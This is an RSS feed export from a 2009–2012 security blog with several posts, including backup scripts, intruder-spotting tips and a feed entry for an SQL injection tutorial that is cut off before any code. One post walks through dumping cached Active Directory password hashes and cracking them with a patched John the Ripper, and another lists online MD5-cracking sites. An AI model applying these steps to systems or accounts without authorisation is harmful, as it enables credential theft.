<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacking-Gurus &#187; linux</title>
	<atom:link href="http://www.hacking-gurus.net/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hacking-gurus.net</link>
	<description>Security Blog</description>
	<lastBuildDate>Thu, 19 Jan 2012 21:06:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Convert EXT2 or EXT3 to EXT4 Without Reformatting Your Hard Drive [Linux]</title>
		<link>http://www.hacking-gurus.net/2010/08/16/convert-ext2-or-ext3-to-ext4-without-reformatting-your-hard-drive-linux/</link>
		<comments>http://www.hacking-gurus.net/2010/08/16/convert-ext2-or-ext3-to-ext4-without-reformatting-your-hard-drive-linux/#comments</comments>
		<pubDate>Mon, 16 Aug 2010 02:49:35 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Ghacks]]></category>
		<category><![CDATA[Hard Drive]]></category>
		<category><![CDATA[Lifehacker]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Running Linux]]></category>
		<category><![CDATA[System Technology]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=223</guid>
		<description><![CDATA[Convert EXT2 or EXT3 to EXT4 Without Reformatting Your Hard Drive [Linux]: &#8220; If you&#8217;ve been running Linux for a while, you&#8217;re probably using the now slightly-outdated EXT2 or EXT3 file system. Technology blog Ghacks has a guide to converting those formats to the newer, faster, EXT4 without doing a clean install. More » (Via Lifehacker.)]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2010/08/16/convert-ext2-or-ext3-to-ext4-without-reformatting-your-hard-drive-linux/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Convert+EXT2+or+EXT3+to+EXT4+Without+Reformatting+Your+Hard+Drive+%5BLinux%5D";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Convert EXT2 or EXT3 to EXT4 Without Reformatting Your Hard Drive : &#8220;																					If you&#8217;ve been running Linux for a while, you&#8217;re probably using the now slightly-outdated EXT2 or EXT3 file system. Technology blog Ghacks has a guide to converting those formats to the newer, faster, EXT4 without doing a clean install.				More »							(Via...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><a href="http://feeds.gawker.com/~r/lifehacker/full/~3/FTYeXeUQlF8/convert-ext2-or-ext3-to-ext4-without-reformatting-your-hard-drive">Convert EXT2 or EXT3 to EXT4 Without Reformatting Your Hard Drive [Linux]</a>: &#8220;<span id="more-223"></span></p>
<div style="float:left;padding-right:10px">
<div><a title="Click here to read Convert EXT2 or EXT3 to EXT4 Without Reformatting Your Hard Drive" href="http://lifehacker.com/5613333/convert-ext2-or-ext3-to-ext4-without-reformatting-your-hard-drive"><br />
						<img style="border-color:#B3B3B3;border-width:0 1px 1px;border-style:none solid solid" height="120" width="160" title="Click here to read Convert EXT2 or EXT3 to EXT4 Without Reformatting Your Hard Drive" alt="Click here to read Convert EXT2 or EXT3 to EXT4 Without Reformatting Your Hard Drive" src="http://cache-02.gawkerassets.com/assets/images/17/2010/08/160x120_drives.jpg"><br />
											</a></div>
</p></div>
<p>				If you&#8217;ve been running Linux for a while, you&#8217;re probably using the now slightly-outdated EXT2 or EXT3 file system. Technology blog Ghacks has a guide to converting those formats to the newer, faster, EXT4 without doing a clean install.				<a href="http://lifehacker.com/5613333/convert-ext2-or-ext3-to-ext4-without-reformatting-your-hard-drive" title="Click here to read more about Convert EXT2 or EXT3 to EXT4 Without Reformatting Your Hard Drive [Linux]">More »</a><br />
				<br style="clear:both"><br />
			<br style="clear:both"><br />
<br style="clear:both"></p>
<p>(Via <a href="http://lifehacker.com">Lifehacker</a>.)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2010/08/16/convert-ext2-or-ext3-to-ext4-without-reformatting-your-hard-drive-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Recover Active Directory Saved Passwords or mscash with John</title>
		<link>http://www.hacking-gurus.net/2009/05/17/recover-or-hack-active-directory-saved-passwords-or-mscash-with-john/</link>
		<comments>http://www.hacking-gurus.net/2009/05/17/recover-or-hack-active-directory-saved-passwords-or-mscash-with-john/#comments</comments>
		<pubDate>Sun, 17 May 2009 05:26:52 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Password Recovery]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[Abel]]></category>
		<category><![CDATA[active directory]]></category>
		<category><![CDATA[cachedump]]></category>
		<category><![CDATA[cain]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[cygwin]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[make]]></category>
		<category><![CDATA[miccrosoft]]></category>
		<category><![CDATA[mscash]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[registry]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=115</guid>
		<description><![CDATA[Hello Everyone , if you use active directory you may notice windows xp sometimes allows you to login to computer even if your network is unplugged. this is because microsoft save your active directory password hash into your system registry using some algorithm named as MSCASH . there are many tools availble on internet to [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/05/17/recover-or-hack-active-directory-saved-passwords-or-mscash-with-john/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Recover+Active+Directory+Saved+Passwords+or+mscash+with+John";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Hello Everyone ,if you use active directory you may notice windows xp sometimes allows you to login to computer even if your network is unplugged. this is because microsoft save your active directory password hash into your system registry using some algorithm named as MSCASH . there are many tools availble on internet to dump or to get these password...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Hello Everyone ,</p>
<p>if you use active directory you may notice windows xp sometimes allows you to login to computer even if your network is unplugged. this is because microsoft save your active directory password hash into your system registry using some algorithm named as <em><strong>MSCASH</strong></em> . there are many tools availble on internet to dump or to get these password hashes from registry.Password hash is saved in the <span class="interwiki iw_wp">Windows registry</span> and by default saved 10 hashes.you can read more about <a href="http://openwall.info/wiki/john/MSCash" target="_blank">mscash </a>here .</p>
<p><span id="more-115"></span></p>
<p><strong>Tools :</strong></p>
<p><strong><em>cachedump:</em></strong></p>
<p>i personally first used cachedump a great dos based tool with which u can get saved active directory password hash.</p>
<p>you can download cachedump <a href="http://www.hacktoolrepository.com/files/Passwords/CacheDump/cachedump-1.2.zip" target="_blank">here</a> .</p>
<p><em><strong>Cain        &amp; Abel : </strong></em></p>
<p>the second great tool availble to dump AD {active directory} saved hashes is Cain        &amp; Abel you can download Cain        &amp; Abel <a href="http://www.oxid.it/" target="_blank">here</a></p>
<div id="attachment_117" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-117" title="recover lost active directory password" src="http://www.hacking-gurus.net/wp-content/uploads/2009/05/300_password0-150x150.jpg" alt="Recover Password" width="150" height="150" /><p class="wp-caption-text">Recover Password</p></div>
<p>.</p>
<p><strong>Second Part Crack Password : </strong></p>
<p>now as you have your lost password hash you can use john the ripper with a small patch to crack your lost password mscash hash.</p>
<p>first you need a linux (ubuntu will be ok ) machine to use john. offcourse u can use windows but i will preffer linux as i dont know how we can patch john for mscash support ( i think you can do it using cygwin ). ok lets download and install john and patch it.</p>
<p><strong>Rule # 1 :</strong> Don&#8217;t install john using apt-get install john ( if u do have thats ok but we will not be using that ) .</p>
<p><strong>Step # 1 :</strong> login to your linux box.</p>
<p><strong>Step # 2:</strong> download john 1.72 using :</p>
<p><code> wget -c ftp://ftp.openwall.com/pub/projects/john/1.7.2/john-1.7.2.tar.gz </code></p>
<p><strong>Step # 3: </strong>extract john using :</p>
<p><code>tar xzf john-1.7.2.tar.gz</code></p>
<p><strong>Step # 4:</strong> download patch for mscash using :</p>
<p><code>wget http://coast.cs.purdue.edu/pub/tools/unix/pwdutils/john/contrib/john-1.7.2-mscash-alainesp-4.1.diff.gz</code></p>
<p><strong>Step # 5: </strong>Rename john to :</p>
<p><code>mv john-1.7.2 john-1.7.2.orig</code></p>
<p><strong>Step # 6:</strong> patch john using :</p>
<p><code> gunzip -c john-1.7.2-mscash-alainesp-4.1.diff.gz | patch -p0 </code></p>
<p><strong>Step # 7:</strong> make John the ripper</p>
<p><code> cd john-1.7.2.orig/src &amp;&amp; make linux-x86-mmx (depend on your system architect) </code></p>
<p><strong>Step # 8: </strong> start cracking password using :</p>
<p><code>../run/john -i:all -format:mscash [filepath] </code></p>
<p>I hope this would help you. <strong>Please post comments and feedback.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/05/17/recover-or-hack-active-directory-saved-passwords-or-mscash-with-john/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Crack MD5 Password Hash Online</title>
		<link>http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/</link>
		<comments>http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 03:23:19 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Password Recovery]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[passwd]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=111</guid>
		<description><![CDATA[Hello , below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5. http://gdataonline.com http://md5.rednoize.com http://ice.breaker.free.fr http://www.milw0rm.com/md5/ http://shm.hard-core.pl/md5/ http://www.hashchecker.com http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/ http://md5.benramsey.com http://md5.altervista.org http://shm.hard-core.pl http://plain-text.info http://www.passcracking.ru/ http://www.securitystats.com/tools/hashcrack.php http://www.xmd5.org/index_en.htm]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Crack+MD5+Password+Hash+Online";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Hello ,below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5.http://gdataonline.comhttp://md5.rednoize.comhttp://ice.breaker.free.frhttp://www.milw0rm.com/md5/http://shm.hard-core.pl/md5/http://www.hashchecker.comhttp://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/http://md5.benramsey.comhttp://md5.altervista.orghttp://shm.hard-core.plhttp://plain-text.infohttp://www.passcracking.ru/http://www.securitystats.com/tools/hashcrack.phphttp://www.xmd5.org/index_en.htm";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Hello ,</p>
<p>below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5.</p>
<p><span id="more-111"></span></p>
<p><a href="http://gdataonline.com" target="_blank">http://gdataonline.com</a><br />
<a href="http://md5.rednoize.com" target="_blank">http://md5.rednoize.com</a><br />
<a href="http://ice.breaker.free.fr" target="_blank">http://ice.breaker.free.fr</a><br />
<a href="http://www.milw0rm.com/md5/" target="_blank"><strong>http://www.milw0rm.com/md5/</strong></a><br />
<a href="http://shm.hard-core.pl/md5/" target="_blank">http://shm.hard-core.pl/md5/</a><br />
<a href="http://www.hashchecker.com" target="_blank">http://www.hashchecker.com</a><br />
<a href="http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/" target="_blank">http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/</a><br />
<a href="http://md5.benramsey.com" target="_blank">http://md5.benramsey.com</a><br />
<a href="http://md5.altervista.org" target="_blank">http://md5.altervista.org</a><br />
<a href="http://shm.hard-core.pl" target="_blank">http://shm.hard-core.pl</a><br />
<a href="http://plain-text.info" target="_blank">http://plain-text.info</a><br />
<a href="http://www.passcracking.ru/" target="_blank">http://www.passcracking.ru/</a><br />
<a href="http://www.securitystats.com/tools/hashcrack.php" target="_blank">http://www.securitystats.com/tools/hashcrack.php</a><br />
<a href="http://www.xmd5.org/index_en.htm" target="_blank">http://www.xmd5.org/index_en.htm</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/feed/</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>How to Backing up and Restoring Your MySQL Server</title>
		<link>http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/</link>
		<comments>http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 03:05:55 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql server]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=107</guid>
		<description><![CDATA[Hello , i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need. Download : mysql-backup.sh 29-Apr-2009 08:31 488 mysql-restore.sh 29-Apr-2009 08:31 1.0K you need to change permissions for this script to be executed change permissions using : [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "How+to+Backing+up+and+Restoring+Your+MySQL+Server";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Hello ,i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need.Download :      mysql-backup.sh         29-Apr-2009 08:31  488      mysql-restore.sh        29-Apr-2009 08:31  1.0Kyou need to change permissions for this script to be executed change permissions...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Hello ,</p>
<p>i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need.</p>
<p><span id="more-107"></span></p>
<p>Download :</p>
<pre>      <a href="../../../../../downloads/mysql-backup.sh">mysql-backup.sh</a>         29-Apr-2009 08:31  488
      <a href="../../../../../downloads/mysql-restore.sh">mysql-restore.sh</a>        29-Apr-2009 08:31  1.0K</pre>
<p>you need to change permissions for this script to be executed change permissions using :</p>
<p><em>chmod +x mysql-backup.sh</em></p>
<p><em>chmod +x mysql-restore.sh</em></p>
<p>This script requres mysql server, mysql clinet  and mysqldump to take backup of databases and then to restore it ,</p>
<p>Please post you feedback if you got any problem using this script please comment below .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Subversion Backup and Restore</title>
		<link>http://www.hacking-gurus.net/2009/04/26/subversion-backup-and-restore/</link>
		<comments>http://www.hacking-gurus.net/2009/04/26/subversion-backup-and-restore/#comments</comments>
		<pubDate>Sun, 26 Apr 2009 17:30:58 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[dump]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[shell script]]></category>
		<category><![CDATA[subversion]]></category>
		<category><![CDATA[svn]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=92</guid>
		<description><![CDATA[Hello guys , i hope most of you have subversion installed and running , and you might have got chance        to  take backup of you subversion repositories. i have created couple of scripts that can take mass backup of all repositores in your   subversion repositories parent directory also the other script restore all repositories , [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/26/subversion-backup-and-restore/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Subversion+Backup+and+Restore";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Hello guys ,i hope most of you have subversion installed and running , and you might have got chance        to  take backup of you subversion repositories.i have created couple of scripts that can take mass backup of all repositores in your   subversion repositories parent directory also the other script restore all repositories , all you ...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><img class="alignleft size-thumbnail wp-image-93" title="subversion ogo" src="http://www.hacking-gurus.net/wp-content/uploads/2009/04/subversion_logo-384x332-150x150.png" alt="subversion ogo" width="150" height="150" /></p>
<p><span id="more-92"></span></p>
<p>Hello guys ,</p>
<p>i hope most of you have subversion installed and running , and you might have got chance        to  take <strong>backup</strong> of you subversion repositories.</p>
<p>i have created couple of scripts that can take mass backup of all repositores in your   subversion repositories parent directory also the other script restore all repositories , all you  need is to change path for backup place and your repositores folder and then enjoy while this script take backup of each repository automatically it saves a lot of time.</p>
<p>Download Both scripts :</p>
<p><a href="http://www.hacking-gurus.net/downloads/backup.sh" target="_self">Backup.sh</a></p>
<p><a href="http://www.hacking-gurus.net/downloads/restore.sh">Restore.sh</a></p>
<p><strong>Below is step by step procedure on how to use this script :</strong></p>
<p><strong>Please if you modify it don&#8217;t remove my name or links</strong></p>
<p>Step 1 ) upload <em>backup.sh</em> to you subversion server ,</p>
<p>Step 2) configure backup.sh according to your server requirements</p>
<p>Step 3) modify permissions for script using :</p>
<p><em>chmod +x backup.sh</em></p>
<p>Step 4) start the backup using : (* you should have permissions to directories on server where your repo exists)</p>
<p><em>sh backup.sh</em></p>
<p>Step 5) check backup logs using :</p>
<p><em>tail -f  {logfilepathhere}</em></p>
<p>Step 6)  Now Backup completed <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  so you can compress backups files using :</p>
<p><em>tar cfz subversion_backup.tar.gz /home/svn/backups/full</em></p>
<p>Step 7) Move backup to new server where you want to take your svn or to some safe place</p>
<p>Step <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> Start the restore process &amp; upload restore.sh</p>
<p>Step 9) config paths in restore.sh as in step 2</p>
<p>Step 10) change permission of it using :</p>
<p><em>chmod +x restore.sh</em></p>
<p>Step 11)<em> </em>Execute the restore script :</p>
<p><em> sh restore.sh</em></p>
<p>Step 12) Every thing is restored you may go to bed for sleep now <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Enjoy the script and do post your feedback , if anyone need subversion installation or backup or any other professional service you may contact me adeel.ahmad+hackinggurus<strong> at </strong>networkncc.com .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/26/subversion-backup-and-restore/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How To Catch A Hacker</title>
		<link>http://www.hacking-gurus.net/2009/04/04/how-to-catch-a-hacker/</link>
		<comments>http://www.hacking-gurus.net/2009/04/04/how-to-catch-a-hacker/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 18:35:32 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=64</guid>
		<description><![CDATA[How To Catch A Hacker I just wrote this guide to give you some tips of which you may not have heard yet. Hopefully, it won&#8217;t come to a hacker getting in, but if it does&#8230; Tip 1: Hackers cover their tracks. Experienced hackers cover them more thorougly, but amateur hackers sometimes leave things behind. [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/04/how-to-catch-a-hacker/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "How+To+Catch+A+Hacker";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "How To Catch A HackerI just wrote this guide to give you some tips of which you may not have heard yet. Hopefully, it won&#8217;t come to a hacker getting in, but if it does&#8230;Tip 1: Hackers cover their tracks. Experienced hackers cover them more thorougly, but amateur hackers sometimes leave things behind. Don&#8217;t expect them to leave any really...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>How To Catch A Hacker</p>
<p>I just wrote this guide to give you some tips of which you may not have heard yet. Hopefully, it won&#8217;t come to a hacker getting in, but if it does&#8230;</p>
<p><span id="more-64"></span></p>
<p>Tip 1: Hackers cover their tracks. Experienced hackers cover them more thorougly, but amateur hackers sometimes leave things behind. Don&#8217;t expect them to leave any really big evidence behind; expect more of little things here and there you might find surprising. For example, if you&#8217;re writing a term paper and a black hat hacker accidently saved it when he took a paragraph out- that&#8217;s suspicious. Where did that paragraph go? Well, for one thing, now you know he was in that area. Check the folders surrounding the file- you might find something.</p>
<p>Tip 2: Decipher between the type of hackers that are attacking you. Experienced hackers will have a more in depth look around when they penetrate your system. They won&#8217;t touch much because they know that that won&#8217;t add too much to their knowledge. But if you know a hacker&#8217;s been in, and some files are messed with, and you have a log of someone guessing passwords to a file or something of that sort, its probably some newbie who&#8217;s just starting out. These are the easiest hackers to catch. They usually get so caught up in thoughts like &#8220;I&#8217;m in!&#8221; that they forget the basics, such as work behind a proxy.</p>
<p>My friend was setting up a webserver once. His first time too, and he wasn&#8217;t to anxious to set up some good software to protect against hackers and viruses. He didn&#8217;t put up one IDS, and before you know it, the obvious happened. But this time, a newbie had struck. The nice log files showed, bluntly across the screen, multiple instances of a foreign IP address that stood out. Some stupid newbie had tried to login as &#8220;uucp&#8221; on my friend&#8217;s XP computer, with a password of &#8220;uucp.&#8221; Well, that&#8217;s great, but he also had tried the same user/pass combination three times, enough to get himself logged nicely. Even a semi-brainless user with some form of neurological system knows that uucp isn&#8217;t a default XP account. Again, excitement toiled this hacker&#8217;s brain, and maybe if he hadn&#8217;t done that, along with a few other stupid things, he wouldn&#8217;t have gotten caught. What other things did he do? Well, lets see. He openned 35 instances of MS-DOS. He tried to clean the printer&#8217;s heads, and he edited a .gif in notepad. Then he uninstalled a few programs and installed some html editor, and replaced four files with the words &#8220;14P.&#8221;</p>
<p>He might as well have posted his phone number. In a few days, we had tracked him down to a<br />
suburban town in Ohio. We let him go, not pressing any charges, because he had done nothing really damaging and had provided me with an example of a moron for this guide.</p>
<p>Tip 3: Don&#8217;t go crazy if you lose data. Chances are, if it was that important, you would have backed it up anyway. Most hackers nowadays wish they were back in 1989 when they could use a Black Box and having a Rainbow Book actually meant something. Most hackers aren&#8217;t blackhat, they are whitehat, and some even greyhat. But in the end, most hackers that are in systems aren&#8217;t satisfied by looking around. From past experiences, I have concluded that many hackers like to remember where&#8217;ve they been. So, what do they do? They either press delete here and there, or copy some files onto their systems. Stupid hackers (yes, there are plenty of stupid hackers) send files to e-mail addresses. Some free email companies will give you the IP of a certain e-mail address&#8217;s user if you can prove that user has been notoriously hacking you. But most of the time, by the time you get the e-mail addy it&#8217;s been unused for weeks if not months or years, and services like hotmail have already deleted it.</p>
<p>Tip 4: Save information! Any information that you get from a log file (proxy server IP, things like &#8220;14P&#8221;, e-mail addresses that things were sent to, etc.) should be saved to a floppy disk (they&#8217;re not floppy anymore, I wish I could get out of the habit of calling them that) incase there&#8217;s a next time. If you get another attack, from the same proxy, or with similar e-mail addresses (e.g: one says Blackjack <a href="mailto:123@something.what">123@something.what</a>ever and the other says <a href="mailto:Black_jack_45@something.znn.com">Black_jack_45@something.znn.com</a>) you can make an assumption that these hackers are the same people. In that case, it would probably be worth the effort to resolve the IP using the proxy and do a traceroute. Pressing charges is recommended if this is a repeat offender.</p>
<p>Tip 5: Don&#8217;t be stupid. If you&#8217;ve been hacked, take security to the next level. Hackers do talk about people they&#8217;ve hacked and they do post IPs and e-mail addresses. Proof? Take a look at Defcon Conventions. I&#8217;ve never gone to one, but I&#8217;ve seen the photos. The &#8220;Wall of Shame&#8221;-type of boards I&#8217;ve seen have IPs and e-mail addresses written all over them in fat red, dry-erase ink. Don&#8217;t be the one to go searching the Defcon website and find your e-mail address posted on the Wall of Shame board!</p>
<p>Tip 6: Don&#8217;t rely on luck. Chances are, sometime or another, you&#8217;re going to be targeted for an attack. Here you can rely on luck. Maybe they&#8217;ll forget? Maybe they don&#8217;t know how to do it? If you think this way, a surprise is going to hit your face very hard. Another way you could stupidly rely on luck is by saying this: It&#8217;s probably just a whitehat. On the contrary, my friend, it&#8217;s probably just a blackhat. A blackhat with knowledge stored in his head, ready to be used as an ax. It&#8217;s your data. You take the chance.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/04/how-to-catch-a-hacker/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Writing SQL Injection exploits in Perl</title>
		<link>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/</link>
		<comments>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 18:30:22 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Servers]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[explots]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[ip address]]></category>
		<category><![CDATA[ipchain]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[perl exploits]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=62</guid>
		<description><![CDATA[[1] Introduction [2] Little panning of Perl language used into an internet context [3] Perl SQL Injection by examples [4] Gr33tz to &#8230; &#8212;+&#8212; StArT [1] Introduction Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot of operation across the internet just [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Writing+SQL+Injection+exploits+in+Perl";
		digg_media = "news";
		digg_topic = "";
